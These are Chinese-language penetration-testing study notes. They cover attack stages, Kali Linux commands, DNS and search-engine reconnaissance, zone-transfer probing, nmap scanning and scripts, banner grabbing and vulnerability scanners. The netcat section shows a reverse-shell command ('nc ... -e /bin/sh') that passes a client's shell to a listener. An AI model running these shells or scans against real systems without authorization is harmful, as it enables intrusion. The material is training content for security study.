1 概论
- 攻击流程
- 预攻击:收集信息,进行决策
- 攻击:进行攻击,获得权限,进行渗透
- 后攻击:长期控守,维持权限,消除痕迹
- APT攻击(高级持续性攻击)
- 定向信息收集:针对性收集,包括网络隐蔽扫描和社工方法
- 外网攻击突破:恶意代码攻击个人终端或者单位服务器
- 构建控制通道:采用HTTP、HTTPS、DNS等协议,绕过安全防护设备
- 内部横向渗透:以终端主机和DMZ区,在系统内部多层渗透,攻击更多服务器获得更多权限。
- 数据收集上传
- 攻击痕迹清理
- 知识框架
- 信息收集
- 突防攻击
- 隐蔽控守
2. Kali Linux基础
2.1 linux分支
1
2
3
4
5
6
7
8
9
10
11
* RedHat
* CentOS
* RedHat
* Debian
* Ubuntu
* Linxu
* Slackware
* 查看内核版本号
* uname -a
* cat /proc/version cat /etc/issue
* cat /etc/os-release
2.2 Kali基础介绍
- Linux文件目录结构
- etc 配置目录
- bin 用户自带的可执行文件 or /usr/bin
- boot 引导
- media 虚拟机共享目录
- mnt U盘加载目录
- proc 查看进程信息
- sbin 系统自带的可执行文件(system)
- tmp 临时目录(重启全部清空,所有用户都能读写)
- usr 用户安装软件 工具在/usr/share路径下
- Kali基本操作
- ifconfig
- lo:本地回环127.0.0.1
- ln创建链接
- 硬链接:文件的两个副本
- 符号链接:快捷方式 ln -s 源文件 链接文件
- more:按页显示文件
- less:按页显示文件,可以翻页
- head -n file:显示文件前n行
- tail -n file:显示文件后n行
- umask 设置文件权限屏蔽位,取反即是新建文件默认权限
- chown user file 修改文件所有者
- chgrp 修改文件所有组
-
对应后缀的文件加密
命令 文件后缀 gzip,gunzip .gz zip,unzip .zip tar .tar compress,bzip2 .bz2 - 磁盘管理命令
- du 显示文件和目录空间占用情况
- df 显示磁盘文件系统的相关信息
- mount/umount 安装/卸载文件系统
- 用户管理
- id 显示当前用户信息
- adduser 增加用户
- passwd 更改用户密码
- userdel 删除用户
- traceroute 测试和远程主机的路由情况
- ps 显示进程及状态
- kill [进程id]杀死进程
- ifconfig
- netstat -t //只看tcp连接
- netstat -nt //不将IP地址反向解析为主机名或域名
- netstat -ant //本机监听连接(all)
- netstat -antp //process与进程关联起来
- windows: netstat -an -p tcp
ps -aux | grep 2120
//打印所有进程,匹配2120进程- postgresql 5432端口
- 网卡配置(配置静态IP地址):
- 修改网卡配置/etc/network/interfaces
- auto eth0
- iface eth0 inet static
- address 192.168.80.30
- netmask
- geteway
- 修改域名服务器地址 /etc/resolv.conf
- 重启网络: /etc/init.d/networking restart or reboot
- 修改网卡配置/etc/network/interfaces
- Kali 服务管理
- Web服务器根目录 /var/www/html/
- apache2/postgresql
- 配置服务自启动:update-rc.d postgresql enable
-
替换更新源为国内源/etc/apt/sources.list
1 2 3 4 5 6
中科大kali源 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 阿里云kali源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib * advanced package tool(apt) * apt-get update/upgrade //下载更新列表/更新对应软件 * apt-get dist-upgrade //下载对应依赖包 * apt-get clean //清除冗余文件
- Vmware Tools(滚动更新版)
- apt -y install open-vm-tools-desktop fuse
- reboot
- 安装VPN
- 安装openvpn
2.3 Kali 进阶使用
- 环境变量
- env
env | grep -i path
//-i忽略大小写- echo $PATH
- env
- 搜索
- whereis/which ifconfig //在$PATH和$MANPATH能找到ifconfig/在$PATH
- locate 在updatedb数据库中匹配字符串
- find /(指定目录) -type f(文件)、d(目录) -name(指定名称)
- netcat 瑞士军刀
- nc -nlp
-vv 监听端口 - nc -p 443 指定端口号监听443端口
- nc -l 监听(服务端)
- nc -n 不解析域名
- nc -vv 详细信息
- 实现服务器端获得客户端的shell
- nc -lnp <(服务器端)ip>
//服务器监听开启 - nc <(服务器)ip>
-e(执行程序) /bin/sh //客户端把shell传递给服务器,就可以在服务器上输入指令控制客户端 - /bin/sh linux类似于Windows的cmd接口程序
- nc -lnp <(服务器端)ip>
- nc -nlp
- kali服务器客户端
- python轻量级web服务器
- python -m SimpleHTTPServer 80
- wget
-O /tmp/1.exe //-O实现在指定目录下保存
- python轻量级web服务器
- 软件工具的安装
- apt
- apt-cache search/show packagename 搜索包
- apt-get install packagename –reinstall 安装/重新安装
- apt-get remove packagename 删除包
- apt-get autoclean 清理无用包
- apt-get check 检查是否有损害
- dpkg
- dbkg -i package-deb
- git
- 下载源代码压缩包
- wget
(tgz) - tar -xzvf archive.tar.gz
- ./configure
- make
- make install
- wget
- apt
3. 信息收集
3.1 网络信息收集
- 网络信息收集
- whois数据库:查询Internet注册信息的标准协议、域名提供商、域名服务器
- whois
- whois
- 域名查询:查询DNS服务器
- nslookup
- baidu.com
- set type=ns/A/mx
- server ns1.cnhubei.com
- ls cnhubei.com
- host -t mx baidu.com
- host -l sda.gov.cn ns.sda.gov.cn //发请求到域名服务器要求列出子域名
- dig命令
- dig ns sda.gov.cn
- dig axfr
- dnsenum –enum sda.gov.cn
- fierce:域名猜测
- fierce -dns 163.com -wordlist dns-names.txt -threads 50 //同时起50个线程根据提供的字典猜测子域名
- 自带字典位置:/usr/share/fierce/hosts.txt
cat 163.com.dns.txt | awk -F'/t' '{printf"%s\t%s\n",$2,$1}' | sort
//按照需求分割- awk文本处理工具 -F分割域
- windows使用layer子域名查询机
- DNS域传送泄露(域名遍历)漏洞:DNS服务器不加确认就向对方提供域名数据库备份
- nslookup
- 基于搜索引擎的信息探测
- google/baidu
- site:sjtu.edu.cn根据域名搜索
- filetype:php 搜索PHP界面
- inurl:login url中包括哪些关键词
- intitile: //在网页标题中包含的
- intext: //在内容中包含的
- link
- Google Hacking Database 黑客搜索语句的数据库
- 基于GHDB的SiteDigger
- theharvester -d hrw.org -b all //搜索邮件
- maltego互联网情报收集平台,社工工具
- maltegoce
- 输入目标域名:Infrastructure ->拖拽domain节点
- recon-ng
- use recon/domains-hosts/bing_domain_web
- set source sjtu.edu.cn
- 数据库位置 /.recon-ng/workspaces/default
- 用火狐打开firefox resutl.html
- google/baidu
- whois数据库:查询Internet注册信息的标准协议、域名提供商、域名服务器
- 主机信息收集
- 主机端口及服务
- Netbios文件共享服务 端口号135-139,445(windows专有)
- 端口扫描
- 常规扫描,三次握手。调用socket库中connect函数
- Nmap扫描器
- TCP SYN扫描
- 扫描结果分为三种
- open 开放的端口
- reset 不提供服务的端口
- close 防火墙过滤
- 扫描结果分为三种
- TCP FIN扫描(误报很多)
- 没有回应 开放端口
- RST重置 不提供服务的端口
- 使用libpcap
- -Pn 认定所有主机在线,跳过主机发现
- nmap -sP
- nmap -sT 172.16.1.1-254 -p 139,445 -Pn –open //-Pn不ping对方
- nmap 脚本位置: /usr/share/nmap/scripts
- nmap脚本类型 看一遍
- auth: 负责处理认证证书(绕开认证)的脚本;
- broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务;
- brute: 提供暴力破解方式,针对常见的应用如http/snmp等;
- default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力;
- discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等;
- dos: 用于进行拒绝服务攻击;
- exploit: 利用已知的漏洞攻击系统;
- external: 利用第三方的数据库或资源,例如进行whois解析;
- fuzzer: 模糊测试,发送异常的包到目标机,探测潜在漏洞;
- intrusive: 带有入侵性,可能引发对方的IDS/IPS的记录或屏蔽;
- malware: 探测目标机是否感染了病毒、开启了后门等信息;
- safe: 与intrusive相反,属于安全性脚本;
- version: 增强服务与版本扫描(Version Detection)功能;
- vuln: 检查目标机是否有常见的漏洞(Vulnerability),如MS08_067、MS17_010等。
- smb-vuln-ms17-010.nse //永恒之蓝漏洞检测脚本
- nmap常规用法
- nmap -sT(常规三次握手协议) -sS(SYN扫描) -Pn(扫描时不去ping对方)
- nmap –script=default -Pn
- nmap –script=smb-vuln* -Pn
- nmap -A -Pn 192.168.80.201 //综合性扫描-A
- nmap -sS -Pn -p 21-23,25,80,110,135- 139,143,443,445,1433,1521,3306,3389,5556,5631,5900,8080 192.168.80.1-254 –open //扫描特定端口
- nmap图形化前端Zenmap
- TCP SYN扫描
- nc 172.16.1.201 80
-
HEAD只回应头部数据,扫描时使用,可以得到旗标信息banner
1 2 3 4 5 6
方法1: HEAD / HTTP/1.1 HOST:172.16.1.201 方法2: GET /HTTP/1.1 HOST:172.16.1.201
- nginx 顺序上服务器信息在前,日期在后
- apache 与nginx相反,日期信息在前,服务器信息在后
-
- Nmap扫描器
- 常规扫描,三次握手。调用socket库中connect函数
-
主机操作系统的探测 * nmap-os-db操作系统指纹数据库不断更新 * nmap -sS 172.16.1.201 -Pn -p 139,445,80 -O //-O操作系统· * -sT(发送ACK包) -sS(发送SYN包) -sV(根据开放端口获取系统信息) -Pn -p -O(搜索操作系统)
- 漏洞扫描
- CVE(Common Vulnerability Exposures)通用漏洞披露库: 设置漏洞编号
- NVD(National Vulnerability Database): 多个CVE安全漏洞详细信息
- Nessus: 综合性漏洞探测 (注册一波)
- 扫描策略
- 扫描目标
- 扫描结果
- OpenVas kali自带,不好用
- Web漏洞探测
- w3af: Web Application Attack Framework
- nikto
- 主机端口及服务
- 局域网信息搜索
- 主机发现
- ICMP协议研究一波(存在ICMP广播风暴,使用已经过时)
- 8字节,1个自己type,1个字节code
- echo request 8 0
- echo reply 0 0
- ARP,Address Resolution Protocol(链路层):寻找哪个IP地址对应的Mac地址为目的地址,对应发送数据包
- ARP协议解析过程研究一波
- IPv4(网络层)
- 数据包寻址通过Mac地址
- ARP命令
- -a
- ICMP协议研究一波(存在ICMP广播风暴,使用已经过时)
- NetDiscover找局域网中存货主机
- 主机发现